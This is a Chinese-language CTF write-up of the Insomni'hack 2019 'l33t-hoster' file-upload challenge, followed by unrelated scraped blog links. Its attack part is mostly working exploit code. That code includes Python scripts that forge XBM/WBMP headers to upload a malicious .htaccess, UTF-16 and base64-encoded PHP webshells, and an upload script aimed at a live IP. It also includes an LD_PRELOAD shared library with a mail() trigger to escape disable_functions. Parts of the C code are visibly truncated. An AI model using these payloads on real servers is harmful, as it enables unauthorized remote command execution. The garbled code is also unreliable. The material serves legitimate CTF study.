题目地址:

https://github.com/eboda/insomnihack/tree/master/l33t_hoster

源码如下:

<?php
if (isset($_GET["source"]))
die(highlight_file(__FILE__)); session_start(); if (!isset($_SESSION["home"])) {
$_SESSION["home"] = bin2hex(random_bytes(20));
}
$userdir = "images/{$_SESSION["home"]}/"; //用户上传文件的路径
if (!file_exists($userdir)) {
mkdir($userdir);
} $disallowed_ext = array(
"php",
"php3",
"php4",
"php5",
"php7",
"pht",
"phtm",
"phtml",
"phar",
"phps",
);
//限制了php文件上传,黑名单形式,那么肯定可以绕过 if (isset($_POST["upload"])) {
if ($_FILES['image']['error'] !== UPLOAD_ERR_OK) {
die("yuuuge fail");
} $tmp_name = $_FILES["image"]["tmp_name"];
$name = $_FILES["image"]["name"];
$parts = explode(".", $name);
$ext = array_pop($parts); //array_pop删除数组最后一个元素并返回该元素 if (empty($parts[0])) {
array_shift($parts); //删除数组第一个元素并返回该元素
} if (count($parts) === 0) {
die("lol filename is empty");
} if (in_array($ext, $disallowed_ext, TRUE)) {
die("lol nice try, but im not stupid dude...");
} $image = file_get_contents($tmp_name);
if (mb_strpos($image, "<?") !== FALSE) {
die("why would you need php in a pic.....");
} if (!exif_imagetype($tmp_name)) {
die("not an image.");
} $image_size = getimagesize($tmp_name);
if ($image_size[0] !== 1337 || $image_size[1] !== 1337) {
die("lol noob, your pic is not l33t enough");
} $name = implode(".", $parts);
move_uploaded_file($tmp_name, $userdir . $name . "." . $ext);
} echo "<h3>Your <a href=$userdir>files</a>:</h3><ul>";
foreach(glob($userdir . "*") as $file) {
echo "<li><a href='$file'>$file</a></li>";
}
echo "</ul>"; ?> <h1>Upload your pics!</h1>
<form method="POST" action="?" enctype="multipart/form-data">
<input type="file" name="image">
<input type="submit" name=upload>
</form>
<!-- /?source -->

这道题首先可以上传.htaccess,那么此时就可以让服务器去解析任意后缀当作php执行,一步一步看

首先

    if (count($parts) === 0) {
die("lol filename is empty");
}

这一段代码判断$parts的值,但是如果上传.htacess,经过array_pop和array_shift将变成空数组,此时将无法向下执行,又因为程序是以.点分割,所以直接..htacess就可以绕过,即最后将拼接成.htaccess,我修改了一下代码,var_dump了一下$FILES数组,此时可以看看$FILES数组的内容:

接下来要绕过exif_imagetype()函数和getimagesize()函数,查一下这两个函数的用法

也就是将检查我们上传的文件,并返回一个常量,否则返回false,那我们要让.htaccess文件绕过它,就要针对它的检测特性去构造数据,因为它最终要返回常量,那我们就要让这个函数认为.htaccess为一个合法的图像类型

其中常量包括:

预期解法:

采用xbm格式,X Bit Map

在计算机图形学中,X Window系统使用X BitMap(XBM),一种纯文本二进制图像格式,用于存储X GUI中使用的光标和图标位图
XBM数据由一系列包含单色像素数据的静态无符号字符数组组成。当格式被普遍使用时,XBM通常出现在标题(.h文件)中,每个图像在标题中存储一个数组。以下C代码示例了一个XBM文件:

也就是用c代码来标识一个xbm文件,前两个#defines指定位图的高度和宽度(以像素为单位),比如以下xbm文件:

#define test_width 16
#define test_height 7
static char test_bits[] = {
0x13, 0x00, 0x15, 0x00, 0x93, 0xcd, 0x55, 0xa5, 0x93, 0xc5, 0x00, 0x80,
0x00, 0x60 };

在这个c文件中高和宽都是有#在前面的,那么我们即使把它放在.htaccess文件中也不会影响.htaccess的实际运行效果,所以新的.htaccess文件内容如下

#define width 1337                          # Define the width wanted by the code (and say we are a legit xbitmap file lol)
#define height 1337 # Define the height AddType application/x-httpd-php .php16 # Say all file with extension .php16 will execute php php_value zend.multibyte # Active specific encoding (you will see why after :D)
php_value zend.detect_unicode # Detect if the file have unicode content
php_value display_errors # Display php errors

接下来可以上传php16了,那么对于上传的php要绕过其<?的过滤,目标服务器是php7.2那么<script>形式不行,这里使用了php内容的不同编码格式来bypass,只要把内容换个编码形式就好,作者用的是utf-16,

也就是说原来是utf-8一个字符一个字节,现在utf-16是两个字节编码一个字符,那么明显可以绕过内容的过滤,下面给出作者的exp:

#!/usr/bin/python3
# Description : create and bypass file upload filter with .htaccess
# Author : Thibaud Robin # Will prove the file is a legit xbitmap file and the size is 1337x1337
SIZE_HEADER = b"\n\n#define width 1337\n#define height 1337\n\n" def generate_php_file(filename, script):
phpfile = open(filename, 'wb') phpfile.write(script.encode('utf-16be'))
phpfile.write(SIZE_HEADER) phpfile.close() def generate_htacess():
htaccess = open('..htaccess', 'wb') htaccess.write(SIZE_HEADER)
htaccess.write(b'AddType application/x-httpd-php .php16\n')
htaccess.write(b'php_value zend.multibyte 1\n')
htaccess.write(b'php_value zend.detect_unicode 1\n')
htaccess.write(b'php_value display_errors 1\n') htaccess.close() generate_htacess() generate_php_file("webshell.php16", "<?php system($_GET['cmd']); die(); ?>")
generate_php_file("scandir.php16", "<?php echo implode('\n', scandir($_GET['dir'])); die(); ?>")
generate_php_file("getfile.php16", "<?php echo file_get_contents($_GET['file']); die(); ?>")
generate_php_file("info.php16", "<?php phpinfo(); die(); ?>")

脚本理解起来很简单,就是添加xbm图片标志头,然后添加.htaccess的文件内容,然后生成utf-16大端编码的shell,但是实际上这里system是被diable的

作者到一部已经结束了,接下来看看非预期解。

非预期解:

直接从bypass以下这部分代码开始看:

    if (!exif_imagetype($tmp_name)) {
die("not an image.");
} $image_size = getimagesize($tmp_name);
if ($image_size[0] !== 1337 || $image_size[1] !== 1337) {
die("lol noob, your pic is not l33t enough");
}

这时候作者直接想到:

如果强行加magic number是不能被正确解析的,可以加注释#,但是没有magic number为#。感觉到这时候可以fuzz了。

作者这里去看了php的源码,并用以下的文件标志头去测试服务器的反应,

但是发现ico的长度最多是0xff,为1337是0x539,jp2 只修改header不能改变getimagesize的结果。

然后查到了wbmp,也是一个bitmap图片,和预期解法一样也是bitmap,都是一种图片文件构成简单的图片,但是往往这种能绕过检查,因为容错性比较高,地址为:https://en.wikipedia.org/wiki/Wireless_Application_Protocol_Bitmap_Format

图片绕过以后,就可以bypass内容检查<?,这里只要使用php的过滤器即可,作者用的是base64编码,用其他的肯定也可以,只要添加下面这一行即可,那么在访问.htaccess同目录下的某个文件时,自动使用base64解码

php_value auto_append_file "php://filter/convert.base64-decode/resource=shell.wuwu"

这里放一下作者上传.htaccess以及shell的exp:

import requests
import base64
url = "http://35.246.234.136/?"
header = {"Cookie":"PHPSESSID=58eshi3a265dguf0icnkc6qk5a"}
htaccess = b"""\x00\x00\x8a\x39\x8a\x39
AddType application/x-httpd-php .wuwu
php_value auto_append_file "php://filter/convert.base64-decode/resource=/var/www/html/images/e694a9e3c406b3d8b247d73836958f6303ed7b72/shell.wuwu"
""" shell = b"\x00\x00\x8a\x39\x8a\x39"+b"00"+ base64.b64encode(b"<?php eval($_GET['c']);?>") files = [('image',('..htaccess',htaccess,'application/octet-stream'))] data = {"upload":"Submit"} proxies = {"http":"http://127.0.0.1:8080"}
print("upload .htaccess")
r = requests.post(url=url, data=data, files=files,headers=header)#proxies=proxies) # print(r.text) print("upload shell.wuwu") files = [('image',('shell.wuwu',shell,'application/octet-stream'))]
r = requests.post(url=url, data=data, files=files,headers=header)

接下来到bypass_disfunction的时候了:

这里学到一招,可以先用

var_dump(get_defined_functions());

去查看一下当前运行环境能够执行的函数,因为disable_function执行以后,被禁用的函数在程序运行开始就不会加载进来,这里mail函数没有过滤,所以可以结合mail和LD_PRELOAD来bypass,这里又学到了,

先放共享库的c程序:

/* compile: gcc -Wall -fPIC -shared -o evil.so evil.c -ldl */

#include <stdlib.h>
#include <stdio.h>
#include <string.h> void payload(char *cmd) {
char buf[];
strcpy(buf, cmd);
strcat(buf, " > /tmp/_0utput.txt");
system(buf);
} int geteuid() {
char *cmd;
if (getenv("LD_PRELOAD") == NULL) { return ; }
unsetenv("LD_PRELOAD");
if ((cmd = getenv("_evilcmd")) != NULL) {
payload(cmd);
}
return ;
}

这里的cmd实际上是个动态的cmd,即每次取环境变量_evilcmd里面的值来执行,所以只需上传一次so,就可以通过shell执行多个命令,因为这里是不回显结果的,所以直接写到txt里面,接下来是对应的shell:,然后使用脚本进行上传:

import requests

url = "http://localhost:8000/images/94437454acff7e0a5e8f239d8c5d0e698e84a4e0/webshell.php16"

param = {"cmd":"move_uploaded_file($_FILES['file']['tmp_name'],'/tmp/seu.so');echo 'ok';var_dump(scandir('/tmp'));"}
files = [('file',('seu.so',open("seu.so","rb"),'application/octet-stream'))]
r = requests.post(url=url, files=files, params=param)
print(r.text)

对于这种没有回显的命令,我们可以输出一点东西,证明的确命令执行成功

执行完以后,然后上传shell:

import requests

url = "http://localhost:8000/images/94437454acff7e0a5e8f239d8c5d0e698e84a4e0/webshell.php16"

param = {"cmd":"move_uploaded_file($_FILES['file']['tmp_name'],'/var/www/html/images/94437454acff7e0a5e8f239d8c5d0e698e84a4e0/shell.php');echo 'ok';var_dump(scandir('/var/www/html/images/94437454acff7e0a5e8f239d8c5d0e698e84a4e0'));"}
files = [('file',('shell.php',open("shell.php","rb"),'application/octet-stream'))]
r = requests.post(url=url, files=files, params=param)
print(r.text)
<?php

$r1 = putenv("LD_PRELOAD=/tmp/seu.so");
echo "putenv: $r1 <br>"; $cmd = $_GET['cmd'];
$r2 = putenv("_evilcmd=$cmd");
echo "putenv: $r2 <br>"; $r3 = mail("1@2", "", "", "","");
echo "mail: $r3 <br>";
highlight_file("/tmp/seu.txt"); ?>

此时访问我们的shell.php,已经能够成功bypass

后面就不再看了,后面是通过perl管道来执行get_flag程序来读flag,直接像上传shell一样上传这个perl脚本然后perl run.pl执行就可以得到flag。

完整的wp在https://github.com/mdsnins/ctf-writeups/blob/master/2019/Insomnihack%202019/l33t-hoster/l33t-hoster.md

参考:

https://xz.aliyun.com/t/3937#toc-4

https://github.com/mdsnins/ctf-writeups/blob/master/2019/Insomnihack%202019/l33t-hoster/l33t-hoster.md

https://thibaudrobin.github.io/articles/bypass-filter-upload/

Insomni’hack CTF-l33t-hoster复现分析的更多相关文章

  1. 路由器漏洞复现分析第三弹:DVRF INTRO题目分析

    这个项目的目的是来帮助人们学习X86_64之外其他架构环境,同时还帮助人们探索路由器固件里面的奥秘. 本文通过练习DVRF 中INTRO 部分的题目来学习下MIPS 结构下的各种内存攻击. DVRF: ...

  2. Insomni'hack teaser 2019 - Misc - curlpipebash

    参考链接 https://ctftime.org/task/7454 题目 Welcome to Insomni'hack teaser 2019! Execute this Bash command ...

  3. CVE-2021-3129:Laravel远程代码漏洞复现分析

    摘要:本文主要为大家带来CVE-2021-3129漏洞复现分析,为大家在日常工作中提供帮助. 本文分享自华为云社区<CVE-2021-3129 分析>,作者:Xuuuu . CVE-202 ...

  4. 追洞小组 | fastjson1.2.24复现+分析

    出品|MS08067实验室(www.ms08067.com) 本文作者:爱吃芝士的小葵(Ms08067实验室追洞小组成员) 1.靶场搭建 2.漏洞复现 3.漏洞分析 4.漏洞修复 5.心得 靶场搭建 ...

  5. 学习CTF的经历-文件分析

    文件分析-ZIP伪加密 最近在准备铁人三项赛的比赛,所以在实验吧上尝试着学习CTF,目前菜鸡一枚 我主要负责的是Web和安全杂项这一块,安全杂项的知识点较为薄弱,在实验吧练习的过程中遇到一个很有趣的题 ...

  6. ref:spring-data-XMLBean XXE复现分析

    ref:https://blog.spoock.com/2018/05/16/cve-2018-1259/ 漏洞信息 看pivotal发布的漏洞信息如下 通过发布的漏洞信息可以知道,漏洞组件是在XML ...

  7. 路由器漏洞复现分析第二弹:CNVD-2018-01084

    1月17日,CNVD公开了D-LinkDIR 615/645/815 service.cgi远程命令执行漏洞(CNVD-2018-01084),freebuf上有前辈写了一篇漏洞复现和poc的文章(h ...

  8. 代码审计之CVE-2019-9081 Laravel5.7 反序列化 RCE复现分析

    本文首发于先知社区:https://xz.aliyun.com/t/5510 环境: php7.2+apache+laravel5.7 漏洞描述: Laravel Framework是Taylor O ...

  9. Wordpress4.9.6 任意文件删除漏洞复现分析

    第一章 漏洞简介及危害分析 1.1漏洞介绍 WordPress可以说是当今最受欢迎的(我想说没有之一)基于PHP的开源CMS,其目前的全球用户高达数百万,并拥有超过4600万次的超高下载量.它是一个开 ...

随机推荐

  1. 基于SSM框架的通用权限框架设计

     1. 整体解决方案概述    1.1 权限整体解决方案概述     权限设计主要有一下几大部分组成:     PassPort:    针对现在系统的分析,系统之间有部分信息是共享的,这部分信息将由 ...

  2. vscode 中 vue项目使用eslint插件 检查代码

    前言 本文章项目由vue-cli3创建 vscode版本1.36.1 eslint1.9.0 在网上找了一大堆文章,不知是什么原因,没有一篇可以直接使用的 折腾了许久,直接按eslint插件的说明,竟 ...

  3. MySQL分组排序(取第一或最后)

    MySQL分组排序(取第一或最后) 方法一:速度非常慢,跑了30分钟 SELECT custid, apply_date, rejectrule FROM ( SELECT *, IF ( , ) A ...

  4. 第二章 C#语法快速热身

    C#语法快速热身 语法 if(条件表达式){ 代码块 } 语法 if(条件表达式){ 代码块 }else{ 代码块2 } 语法 if(条件表达式1){ 代码块1 if(条件表达式1)){ }else{ ...

  5. STL练习板子题(c++11警告)

    第一题 词典 总时间限制: 3000ms 内存限制: 65536kB 描述 你旅游到了一个国外的城市.那里的人们说的外国语言你不能理解.不过幸运的是,你有一本词典可以帮助你. 输入 首先输入一个词典, ...

  6. mysql远程服务密码修改

    GRANT ALL PRIVILEGES ON *.* TO root@"%" IDENTIFIED BY "root";    FLUSH PRIVILEGE ...

  7. 在使用Telnet连接localhost时所遇到的问题:出现 ‘telnet’ 不是内部或外部命令,也不是可运行的程序或批处理文件

    1.出现 ‘telnet’ 不是内部或外部命令,也不是可运行的程序或批处理文件.原因:因为本机的Telnet客户端默认是关闭的,所以我们要手动打开解决方案:打开控制面板–>程序–>打开或关 ...

  8. [Luogu] 最大收益

    题面:https://www.luogu.org/problemnew/show/P2647 题解:https://www.zybuluo.com/wsndy-xx/note/1142685

  9. idea快捷方式1

    Ctrl+Alt+O 优化导入的类和包 Alt+Insert 生成代码(如get,set方法,构造函数等)   或者右键(Generate) fori/sout/psvm + Tab Ctrl+Alt ...

  10. apt update时出现签名无法验证,公钥失效的解决办法

    错误信息如下 W: GPG error: http://ppa.launchpad.net/ondrej/php/ubuntu xenial InRelease: The following sign ...